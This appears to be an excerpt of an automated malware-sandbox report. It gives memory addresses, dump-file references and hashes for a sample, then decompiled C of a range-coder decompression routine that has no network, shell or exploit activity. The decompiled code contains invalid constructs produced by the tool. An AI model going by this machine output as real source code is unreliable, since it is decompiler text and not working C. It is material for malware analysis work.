                                      0x00406a93
                                      0x00406a9a
                                      0x00406a9d
                                      0x00000000
                                      0x00406aa3
                                      0x00000000
                                      0x00406aa3
                                      0x00000000
                                      0x00406aa8
                                      0x00406aa8
                                      0x00406aac
                                      0x0040716c
                                      0x00000000
                                      0x0040716c
                                      0x00406ab2
                                      0x00406ab5
                                      0x00406ab8
                                      0x00406abc
                                      0x00406abf
                                      0x00406ac5
                                      0x00406ac7
                                      0x00406ac7
                                      0x00406ac7
                                      0x00406aca
                                      0x00406acd
                                      0x00406acd
                                      0x00406acd
                                      0x00406ad3
                                      0x00000000
                                      0x00000000
                                      0x00406ad5
                                      0x00406ad8
                                      0x00406adb
                                      0x00406ade
                                      0x00406ae1
                                      0x00406ae4
                                      0x00406ae7
                                      0x00406aea
                                      0x00406aed
                                      0x00406af0
                                      0x00406af3
                                      0x00406b0b
                                      0x00406b0e
                                      0x00406b11
                                      0x00406b14
                                      0x00406b14
                                      0x00406b17
                                      0x00406b1b
                                      0x00406b1d
                                      0x00406af5
                                      0x00406af5
                                      0x00406afd
                                      0x00406b02
                                      0x00406b04
                                      0x00406b06
                                      0x00406b06
                                      0x00406b20
                                      0x00406b27
                                      0x00406b2a
                                      0x00000000
                                      0x00406b2c
                                      0x00000000
                                      0x00406b2c
                                      0x00406b2a
                                      0x00406b31
                                      0x00406b31
                                      0x00406b31
                                      0x00406b31
                                      0x00000000
                                      0x00000000
                                      0x00406b6c
                                      0x00406b6c
                                      0x00406b70
                                      0x00407178
                                      0x00000000
                                      0x00407178
                                      0x00406b76
                                      0x00406b79
                                      0x00406b7c
                                      0x00406b80
                                      0x00406b83
                                      0x00406b89
                                      0x00406b8b
                                      0x00406b8b
                                      0x00406b8b
                                      0x00406b8e
                                      0x00406b91
                                      0x00406b91
                                      0x00406b97
                                      0x00406b35
                                      0x00406b35
                                      0x00406b38
                                      0x00000000
                                      0x00406b38
                                      0x00406b99
                                      0x00406b99
                                      0x00406b9c
                                      0x00406b9f
                                      0x00406ba2
                                      0x00406ba5
                                      0x00406ba8
                                      0x00406bab
                                      0x00406bae
                                      0x00406bb1
                                      0x00406bb4
                                      0x00406bb7
                                      0x00406bcf
                                      0x00406bd2
                                      0x00406bd5
                                      0x00406bd8
                                      0x00406bd8
                                      0x00406bdb
                                      0x00406bdf
                                      0x00406be1
                                      0x00406bb9
                                      0x00406bb9
                                      0x00406bc1
                                      0x00406bc6
                                      0x00406bc8
                                      0x00406bca
                                      0x00406bca
                                      0x00406be4
                                      0x00406beb
                                      0x00406bee
                                      0x00000000
                                      0x00406bf0
                                      0x00000000
                                      0x00406bf0
                                      0x00000000
                                      0x00406e7d
                                      0x00406e7d
                                      0x00406e81
                                      0x004071a8
                                      0x00000000
                                      0x004071a8
                                      0x00406e87
                                      0x00406e8a
                                      0x00406e8d
                                      0x00406e91
                                      0x00406e94
                                      0x00406e9a
                                      0x00406e9c
                                      0x00406e9c
                                      0x00406e9c
                                      0x00406e9f
                                      0x00000000
                                      0x00000000
                                      0x00406c4d
                                      0x00406c4d
                                      0x00406c50
                                      0x00000000
                                      0x00000000
                                      0x00406f8c
                                      0x00406f90
                                      0x00406fb2
                                      0x00406fb5
                                      0x00406fbf
                                      0x00406fc2
                                      0x00406fc2
                                      0x00000000
                                      0x00406fc2
                                      0x00406f92
                                      0x00406f95
                                      0x00406f99
                                      0x00406f9c
                                      0x00406f9c
                                      0x00406f9f
                                      0x00000000
                                      0x00000000
                                      0x00407049
                                      0x0040704d
                                      0x0040706b
                                      0x0040706b
                                      0x0040706b
                                      0x00407072
                                      0x00407079
                                      0x00407080
                                      0x00407080
                                      0x00000000
                                      0x00407080
                                      0x0040704f
                                      0x00407052
                                      0x00407055
                                      0x00407058
                                      0x0040705f
                                      0x00406fa3
                                      0x00406fa3
                                      0x00406fa6
                                      0x00000000
                                      0x00000000
                                      0x0040713a
                                      0x0040713d
                                      0x00000000
                                      0x00000000
                                      0x00406d74
                                      0x00406d76
                                      0x00406d7d
                                      0x00406d7e
                                      0x00406d80
                                      0x00406d83
                                      0x00000000
                                      0x00000000
                                      0x00406d8b
                                      0x00406d8e
                                      0x00406d91
                                      0x00406d93
                                      0x00406d95
                                      0x00406d95
                                      0x00406d96
                                      0x00406d99
                                      0x00406da0
                                      0x00406da3
                                      0x00406db1
                                      0x00000000
                                      0x00000000
                                      0x00407087
                                      0x00407087
                                      0x0040708a
                                      0x00407091
                                      0x00000000
                                      0x00000000
                                      0x00407096
                                      0x00407096
                                      0x0040709a
                                      0x004071d2
                                      0x00000000
                                      0x004071d2
                                      0x004070a0
                                      0x004070a3
                                      0x004070a6
                                      0x004070aa
                                      0x004070ad
                                      0x004070b3
                                      0x004070b5
                                      0x004070b5
                                      0x004070b5
                                      0x004070b8
                                      0x004070bb
                                      0x004070bb
                                      0x004070bb
                                      0x004070bb
                                      0x004070be
                                      0x004070be
                                      0x004070c2
                                      0x00407122
                                      0x00407125
                                      0x0040712a
                                      0x0040712b
                                      0x0040712d
                                      0x0040712f
                                      0x00407132
                                      0x0040703e
                                      0x0040703e
                                      0x00000000
                                      0x0040703e
                                      0x004070c4
                                      0x004070ca
                                      0x004070cd
                                      0x004070d0
                                      0x004070d3
                                      0x004070d6
                                      0x004070d9
                                      0x004070dc
                                      0x004070df
                                      0x004070e2
                                      0x004070e5
                                      0x004070fe
                                      0x00407101
                                      0x00407104
                                      0x00407107
                                      0x0040710b
                                      0x0040710d
                                      0x0040710d
                                      0x0040710e
                                      0x00407111
                                      0x004070e7
                                      0x004070e7
                                      0x004070ef
                                      0x004070f4
                                      0x004070f6
                                      0x004070f9
                                      0x004070f9
                                      0x00407114
                                      0x0040711b
                                      0x00000000
                                      0x0040711d
                                      0x00000000
                                      0x0040711d
                                      0x00000000
                                      0x00406db9
                                      0x00406dbc
                                      0x00406df2
                                      0x00406f22
                                      0x00406f22
                                      0x00406f22
                                      0x00406f22
                                      0x00406f25
                                      0x00406f25
                                      0x00406f28
                                      0x00406f2a
                                      0x004071b4
                                      0x00000000
                                      0x004071b4
                                      0x00406f30
                                      0x00406f33
                                      0x00000000
                                      0x00000000
                                      0x00406f39
                                      0x00406f3d
                                      0x00406f40
                                      0x00406f40
                                      0x00406f40
                                      0x00000000
                                      0x00406f40
                                      0x00406dbe
                                      0x00406dc0
                                      0x00406dc2
                                      0x00406dc4
                                      0x00406dc7
                                      0x00406dc8
                                      0x00406dca
                                      0x00406dcc
                                      0x00406dcf
                                      0x00406dd2
                                      0x00406de8
                                      0x00406ded
                                      0x00406e25
                                      0x00406e25
                                      0x00406e29
                                      0x00406e55
                                      0x00406e57
                                      0x00406e5e
                                      0x00406e61
                                      0x00406e64
                                      0x00406e64
                                      0x00406e69
                                      0x00406e69
                                      0x00406e6b
                                      0x00406e6e
                                      0x00406e75
                                      0x00406e78
                                      0x00406ea5
                                      0x00406ea5
                                      0x00406ea8
                                      0x00406eab
                                      0x00406f1f
                                      0x00406f1f
                                      0x00406f1f
                                      0x00000000
                                      0x00406f1f
                                      0x00406ead
                                      0x00406eb3
                                      0x00406eb6
                                      0x00406eb9
                                      0x00406ebc
                                      0x00406ebf
                                      0x00406ec2
                                      0x00406ec5
                                      0x00406ec8
                                      0x00406ecb
                                      0x00406ece
                                      0x00406ee7
                                      0x00406ee9
                                      0x00406eec
                                      0x00406eed
                                      0x00406ef0
                                      0x00406ef2
                                      0x00406ef5
                                      0x00406ef7
                                      0x00406ef9
                                      0x00406efc
                                      0x00406efe
                                      0x00406f01
                                      0x00406f05
                                      0x00406f07
                                      0x00406f07
                                      0x00406f08
                                      0x00406f0b
                                      0x00406f0e
                                      0x00406ed0
                                      0x00406ed0
                                      0x00406ed8
                                      0x00406edd
                                      0x00406edf
                                      0x00406ee2
                                      0x00406ee2
                                      0x00406f11
                                      0x00406f18
                                      0x00406ea2
                                      0x00406ea2
                                      0x00406ea2
                                      0x00406ea2
                                      0x00000000
                                      0x00406f1a
                                      0x00000000
                                      0x00406f1a
                                      0x00406f18
                                      0x00406e2b
                                      0x00406e2e
                                      0x00406e30
                                      0x00406e33
                                      0x00406e36
                                      0x00406e39
                                      0x00406e3b
                                      0x00406e3e
                                      0x00406e41
                                      0x00406e41
                                      0x00406e44
                                      0x00406e44
                                      0x00406e47
                                      0x00406e4e
                                      0x00406e22
                                      0x00406e22
                                      0x00406e22
                                      0x00406e22
                                      0x00000000
                                      0x00406e50
                                      0x00000000
                                      0x00406e50
                                      0x00406e4e
                                      0x00406dd4
                                      0x00406dd7
                                      0x00406dd9
                                      0x00406ddc
                                      0x00000000
                                      0x00000000
                                      0x00406b3b
                                      0x00406b3b
                                      0x00406b3f
                                      0x00407184
                                      0x00000000
                                      0x00407184
                                      0x00406b45
                                      0x00406b48
                                      0x00406b4b
                                      0x00406b4e
                                      0x00406b51
                                      0x00406b54
                                      0x00406b57
                                      0x00406b59
                                      0x00406b5c
                                      0x00406b5f
                                      0x00406b62
                                      0x00406b64
                                      0x00406b64
                                      0x00406b64
                                      0x00000000
                                      0x00000000
                                      0x00406cc6
                                      0x00406cc6
                                      0x00406cca
                                      0x00407190
                                      0x00000000
                                      0x00407190
                                      0x00406cd0
                                      0x00406cd3
                                      0x00406cd6
                                      0x00406cd9
                                      0x00406cdb
                                      0x00406cdb
                                      0x00406cdb
                                      0x00406cde
                                      0x00406ce1
                                      0x00406ce4
                                      0x00406ce7
                                      0x00406cea
                                      0x00406ced
                                      0x00406cee
                                      0x00406cf0
                                      0x00406cf0
                                      0x00406cf0
                                      0x00406cf3
                                      0x00406cf6
                                      0x00406cf9
                                      0x00406cfc
                                      0x00406cfc
                                      0x00406cfc
                                      0x00406cff
                                      0x00406d01
                                      0x00406d01
                                      0x00000000
                                      0x00000000
                                      0x00406f43
                                      0x00406f43
                                      0x00406f43
                                      0x00406f47
                                      0x00000000
                                      0x00000000
                                      0x00406f4d
                                      0x00406f50
                                      0x00406f53
                                      0x00406f56
                                      0x00406f58
                                      0x00406f58
                                      0x00406f58
                                      0x00406f5b
                                      0x00406f5e
                                      0x00406f61
                                      0x00406f64
                                      0x00406f67
                                      0x00406f6a
                                      0x00406f6b
                                      0x00406f6d
                                      0x00406f6d
                                      0x00406f6d
                                      0x00406f70
                                      0x00406f73
                                      0x00406f76
                                      0x00406f79
                                      0x00406f7c
                                      0x00406f80
                                      0x00406f82
                                      0x00406f85
                                      0x00000000
                                      0x00406f87
                                      0x00406d04
                                      0x00406d04
                                      0x00000000
                                      0x00406d04
                                      0x00406f85
                                      0x004071ba
                                      0x004071dc
                                      0x004071e2
                                      0x004071e4
                                      0x004071eb
                                      0x00000000
                                      0x00000000
                                      0x004067e9
                                      0x004071f1
                                      0x004071f1
                                      0x00000000

                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: a4a831d665342904e926e677d5e53c2d763209fb1dc1872ba2cc662cd0e71529
                                      • Instruction ID: 067318748fb0e7e332f05a89f7f4937fcdaac86c909a37b822a7e26141377c2a
                                      • Opcode Fuzzy Hash: a4a831d665342904e926e677d5e53c2d763209fb1dc1872ba2cc662cd0e71529
                                      • Instruction Fuzzy Hash: 84814571E04228DFDB28CFA9C8447ADBBB1FB44305F11816AD856BB2C1C778A986DF45
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 98%
                                      			E00406BF5() {
                                      				signed int _t539;
                                      				unsigned short _t540;
                                      				signed int _t541;
                                      				void _t542;
                                      				signed int _t543;
                                      				signed int _t544;
                                      				signed int _t573;
                                      				signed int _t576;
                                      				signed int _t597;
                                      				signed int* _t614;
                                      				void* _t621;
                                      
                                      				L0:
                                      				while(1) {
                                      					L0:
                                      					if( *(_t621 - 0x40) != 1) {
                                      						 *((intOrPtr*)(_t621 - 0x80)) = 0x16;
                                      						 *((intOrPtr*)(_t621 - 0x20)) =  *((intOrPtr*)(_t621 - 0x24));
                                      						 *((intOrPtr*)(_t621 - 0x24)) =  *((intOrPtr*)(_t621 - 0x28));
                                      						 *((intOrPtr*)(_t621 - 0x28)) =  *((intOrPtr*)(_t621 - 0x2c));
                                      						 *(_t621 - 0x38) = ((0 |  *(_t621 - 0x38) - 0x00000007 >= 0x00000000) - 0x00000001 & 0x000000fd) + 0xa;
                                      						_t539 =  *(_t621 - 4) + 0x664;
                                      						 *(_t621 - 0x58) = _t539;
                                      						goto L68;
                                      					} else {
                                      						 *(__ebp - 0x84) = 8;
                                      						while(1) {
                                      							L132:
                                      							 *(_t621 - 0x54) = _t614;
                                      							while(1) {
                                      								L133:
                                      								_t540 =  *_t614;
                                      								_t597 = _t540 & 0x0000ffff;
                                      								_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
                                      								if( *(_t621 - 0xc) >= _t573) {
                                      									 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
                                      									 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
                                      									 *(_t621 - 0x40) = 1;
                                      									_t541 = _t540 - (_t540 >> 5);
                                      									 *_t614 = _t541;
                                      								} else {
                                      									 *(_t621 - 0x10) = _t573;
                                      									 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
                                      									 *_t614 = (0x800 - _t597 >> 5) + _t540;
                                      								}
                                      								if( *(_t621 - 0x10) >= 0x1000000) {
                                      									goto L139;
                                      								}
                                      								L137:
                                      								if( *(_t621 - 0x6c) == 0) {
                                      									 *(_t621 - 0x88) = 5;
                                      									L170:
                                      									_t576 = 0x22;
                                      									memcpy( *(_t621 - 0x90), _t621 - 0x88, _t576 << 2);
                                      									_t544 = 0;
                                      									L172:
                                      									return _t544;
                                      								}
                                      								 *(_t621 - 0x10) =  *(_t621 - 0x10) << 8;
                                      								 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
                                      								 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
                                      								 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
                                      								L139:
                                      								_t542 =  *(_t621 - 0x84);
                                      								while(1) {
                                      									 *(_t621 - 0x88) = _t542;
                                      									while(1) {
                                      										L1:
                                      										_t543 =  *(_t621 - 0x88);
                                      										if(_t543 > 0x1c) {
                                      											break;
                                      										}
                                      										switch( *((intOrPtr*)(_t543 * 4 +  &M004071F9))) {
                                      											case 0:
                                      												if( *(_t621 - 0x6c) == 0) {
                                      													goto L170;
                                      												}
                                      												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
                                      												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
                                      												_t543 =  *( *(_t621 - 0x70));
                                      												if(_t543 > 0xe1) {
                                      													goto L171;
                                      												}
                                      												_t547 = _t543 & 0x000000ff;
                                      												_push(0x2d);
                                      												asm("cdq");
                                      												_pop(_t578);
                                      												_push(9);
                                      												_pop(_t579);
                                      												_t617 = _t547 / _t578;
                                      												_t549 = _t547 % _t578 & 0x000000ff;
                                      												asm("cdq");
                                      												_t612 = _t549 % _t579 & 0x000000ff;
                                      												 *(_t621 - 0x3c) = _t612;
                                      												 *(_t621 - 0x1c) = (1 << _t617) - 1;
                                      												 *((intOrPtr*)(_t621 - 0x18)) = (1 << _t549 / _t579) - 1;
                                      												_t620 = (0x300 << _t612 + _t617) + 0x736;
                                      												if(0x600 ==  *((intOrPtr*)(_t621 - 0x78))) {
                                      													L10:
                                      													if(_t620 == 0) {
                                      														L12:
                                      														 *(_t621 - 0x48) =  *(_t621 - 0x48) & 0x00000000;
                                      														 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
                                      														goto L15;
                                      													} else {
                                      														goto L11;
                                      													}
                                      													do {
                                      														L11:
                                      														_t620 = _t620 - 1;
                                      														 *((short*)( *(_t621 - 4) + _t620 * 2)) = 0x400;
                                      													} while (_t620 != 0);
                                      													goto L12;
                                      												}
                                      												if( *(_t621 - 4) != 0) {
                                      													GlobalFree( *(_t621 - 4)); // executed
                                      												}
                                      												_t543 = GlobalAlloc(0x40, 0x600); // executed
                                      												 *(_t621 - 4) = _t543;
                                      												if(_t543 == 0) {
                                      													goto L171;
                                      												} else {
                                      													 *((intOrPtr*)(_t621 - 0x78)) = 0x600;
                                      													goto L10;
                                      												}
                                      											case 1:
                                      												L13:
                                      												__eflags =  *(_t621 - 0x6c);
                                      												if( *(_t621 - 0x6c) == 0) {
                                      													 *(_t621 - 0x88) = 1;
                                      													goto L170;
                                      												}
                                      												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
                                      												 *(_t621 - 0x40) =  *(_t621 - 0x40) | ( *( *(_t621 - 0x70)) & 0x000000ff) <<  *(_t621 - 0x48) << 0x00000003;
                                      												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
                                      												_t45 = _t621 - 0x48;
                                      												 *_t45 =  *(_t621 - 0x48) + 1;
                                      												__eflags =  *_t45;
                                      												L15:
                                      												if( *(_t621 - 0x48) < 4) {
                                      													goto L13;
                                      												}
                                      												_t555 =  *(_t621 - 0x40);
                                      												if(_t555 ==  *(_t621 - 0x74)) {
                                      													L20:
                                      													 *(_t621 - 0x48) = 5;
                                      													 *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) =  *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) & 0x00000000;
                                      													goto L23;
                                      												}
                                      												 *(_t621 - 0x74) = _t555;
                                      												if( *(_t621 - 8) != 0) {
                                      													GlobalFree( *(_t621 - 8)); // executed
                                      												}
                                      												_t543 = GlobalAlloc(0x40,  *(_t621 - 0x40)); // executed
                                      												 *(_t621 - 8) = _t543;
                                      												if(_t543 == 0) {
                                      													goto L171;
                                      												} else {
                                      													goto L20;
                                      												}
                                      											case 2:
                                      												L24:
                                      												_t562 =  *(_t621 - 0x60) &  *(_t621 - 0x1c);
                                      												 *(_t621 - 0x84) = 6;
                                      												 *(_t621 - 0x4c) = _t562;
                                      												_t614 =  *(_t621 - 4) + (( *(_t621 - 0x38) << 4) + _t562) * 2;
                                      												goto L132;
                                      											case 3:
                                      												L21:
                                      												__eflags =  *(_t621 - 0x6c);
                                      												if( *(_t621 - 0x6c) == 0) {
                                      													 *(_t621 - 0x88) = 3;
                                      													goto L170;
                                      												}
                                      												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
                                      												_t67 = _t621 - 0x70;
                                      												 *_t67 =  &(( *(_t621 - 0x70))[1]);
                                      												__eflags =  *_t67;
                                      												 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
                                      												L23:
                                      												 *(_t621 - 0x48) =  *(_t621 - 0x48) - 1;
                                      												if( *(_t621 - 0x48) != 0) {
                                      													goto L21;
                                      												}
                                      												goto L24;
                                      											case 4:
                                      												L133:
                                      												_t540 =  *_t614;
                                      												_t597 = _t540 & 0x0000ffff;
                                      												_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
                                      												if( *(_t621 - 0xc) >= _t573) {
                                      													 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
                                      													 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
                                      													 *(_t621 - 0x40) = 1;
                                      													_t541 = _t540 - (_t540 >> 5);
                                      													 *_t614 = _t541;
                                      												} else {
                                      													 *(_t621 - 0x10) = _t573;
                                      													 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
                                      													 *_t614 = (0x800 - _t597 >> 5) + _t540;
                                      												}
                                      												if( *(_t621 - 0x10) >= 0x1000000) {
                                      													goto L139;
                                      												}
                                      											case 5:
                                      												goto L137;
                                      											case 6:
                                      												__edx = 0;
                                      												__eflags =  *(__ebp - 0x40);
                                      												if( *(__ebp - 0x40) != 0) {
                                      													__eax =  *(__ebp - 4);
                                      													__ecx =  *(__ebp - 0x38);
                                      													 *(__ebp - 0x34) = 1;
                                      													 *(__ebp - 0x84) = 7;
                                      													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
                                      													L132:
                                      													 *(_t621 - 0x54) = _t614;
                                      													goto L133;
                                      												}
                                      												__eax =  *(__ebp - 0x5c) & 0x000000ff;
                                      												__esi =  *(__ebp - 0x60);
                                      												__cl = 8;
                                      												__cl = 8 -  *(__ebp - 0x3c);
                                      												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
                                      												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
                                      												__ecx =  *(__ebp - 0x3c);
                                      												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
                                      												__ecx =  *(__ebp - 4);
                                      												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
                                      												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
                                      												__eflags =  *(__ebp - 0x38) - 4;
                                      												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                      												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                      												if( *(__ebp - 0x38) >= 4) {
                                      													__eflags =  *(__ebp - 0x38) - 0xa;
                                      													if( *(__ebp - 0x38) >= 0xa) {
                                      														_t98 = __ebp - 0x38;
                                      														 *_t98 =  *(__ebp - 0x38) - 6;
                                      														__eflags =  *_t98;
                                      													} else {
                                      														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
                                      													}
                                      												} else {
                                      													 *(__ebp - 0x38) = 0;
                                      												}
                                      												__eflags =  *(__ebp - 0x34) - __edx;
                                      												if( *(__ebp - 0x34) == __edx) {
                                      													__ebx = 0;
                                      													__ebx = 1;
                                      													goto L61;
                                      												} else {
                                      													__eax =  *(__ebp - 0x14);
                                      													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                      													__eflags = __eax -  *(__ebp - 0x74);
                                      													if(__eax >=  *(__ebp - 0x74)) {
                                      														__eax = __eax +  *(__ebp - 0x74);
                                      														__eflags = __eax;
                                      													}
                                      													__ecx =  *(__ebp - 8);
                                      													__ebx = 0;
                                      													__ebx = 1;
                                      													__al =  *((intOrPtr*)(__eax + __ecx));
                                      													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
                                      													goto L41;
                                      												}
                                      											case 7:
                                      												goto L0;
                                      											case 8:
                                      												__eflags =  *(__ebp - 0x40);
                                      												if( *(__ebp - 0x40) != 0) {
                                      													__eax =  *(__ebp - 4);
                                      													__ecx =  *(__ebp - 0x38);
                                      													 *(__ebp - 0x84) = 0xa;
                                      													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
                                      												} else {
                                      													__eax =  *(__ebp - 0x38);
                                      													__ecx =  *(__ebp - 4);
                                      													__eax =  *(__ebp - 0x38) + 0xf;
                                      													 *(__ebp - 0x84) = 9;
                                      													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
                                      													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
                                      												}
                                      												while(1) {
                                      													L132:
                                      													 *(_t621 - 0x54) = _t614;
                                      													goto L133;
                                      												}
                                      											case 9:
                                      												__eflags =  *(__ebp - 0x40);
                                      												if( *(__ebp - 0x40) != 0) {
                                      													goto L89;
                                      												}
                                      												__eflags =  *(__ebp - 0x60);
                                      												if( *(__ebp - 0x60) == 0) {
                                      													goto L171;
                                      												}
                                      												__eax = 0;
                                      												__eflags =  *(__ebp - 0x38) - 7;
                                      												_t258 =  *(__ebp - 0x38) - 7 >= 0;
                                      												__eflags = _t258;
                                      												0 | _t258 = _t258 + _t258 + 9;
                                      												 *(__ebp - 0x38) = _t258 + _t258 + 9;
                                      												goto L75;
                                      											case 0xa:
                                      												__eflags =  *(__ebp - 0x40);
                                      												if( *(__ebp - 0x40) != 0) {
                                      													__eax =  *(__ebp - 4);
                                      													__ecx =  *(__ebp - 0x38);
                                      													 *(__ebp - 0x84) = 0xb;
                                      													__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
                                      													while(1) {
                                      														L132:
                                      														 *(_t621 - 0x54) = _t614;
                                      														goto L133;
                                      													}
                                      												}
                                      												__eax =  *(__ebp - 0x28);
                                      												goto L88;
                                      											case 0xb:
                                      												__eflags =  *(__ebp - 0x40);
                                      												if( *(__ebp - 0x40) != 0) {
                                      													__ecx =  *(__ebp - 0x24);
                                      													__eax =  *(__ebp - 0x20);
                                      													 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                      												} else {
                                      													__eax =  *(__ebp - 0x24);
                                      												}
                                      												__ecx =  *(__ebp - 0x28);
                                      												 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                      												L88:
                                      												__ecx =  *(__ebp - 0x2c);
                                      												 *(__ebp - 0x2c) = __eax;
                                      												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                      												L89:
                                      												__eax =  *(__ebp - 4);
                                      												 *(__ebp - 0x80) = 0x15;
                                      												__eax =  *(__ebp - 4) + 0xa68;
                                      												 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
                                      												goto L68;
                                      											case 0xc:
                                      												L99:
                                      												__eflags =  *(__ebp - 0x6c);
                                      												if( *(__ebp - 0x6c) == 0) {
                                      													 *(__ebp - 0x88) = 0xc;
                                      													goto L170;
                                      												}
                                      												__ecx =  *(__ebp - 0x70);
                                      												__eax =  *(__ebp - 0xc);
                                      												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                      												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                      												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                      												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      												_t334 = __ebp - 0x70;
                                      												 *_t334 =  *(__ebp - 0x70) + 1;
                                      												__eflags =  *_t334;
                                      												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      												__eax =  *(__ebp - 0x2c);
                                      												goto L101;
                                      											case 0xd:
                                      												L37:
                                      												__eflags =  *(__ebp - 0x6c);
                                      												if( *(__ebp - 0x6c) == 0) {
                                      													 *(__ebp - 0x88) = 0xd;
                                      													goto L170;
                                      												}
                                      												__ecx =  *(__ebp - 0x70);
                                      												__eax =  *(__ebp - 0xc);
                                      												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                      												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                      												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                      												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      												_t122 = __ebp - 0x70;
                                      												 *_t122 =  *(__ebp - 0x70) + 1;
                                      												__eflags =  *_t122;
                                      												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
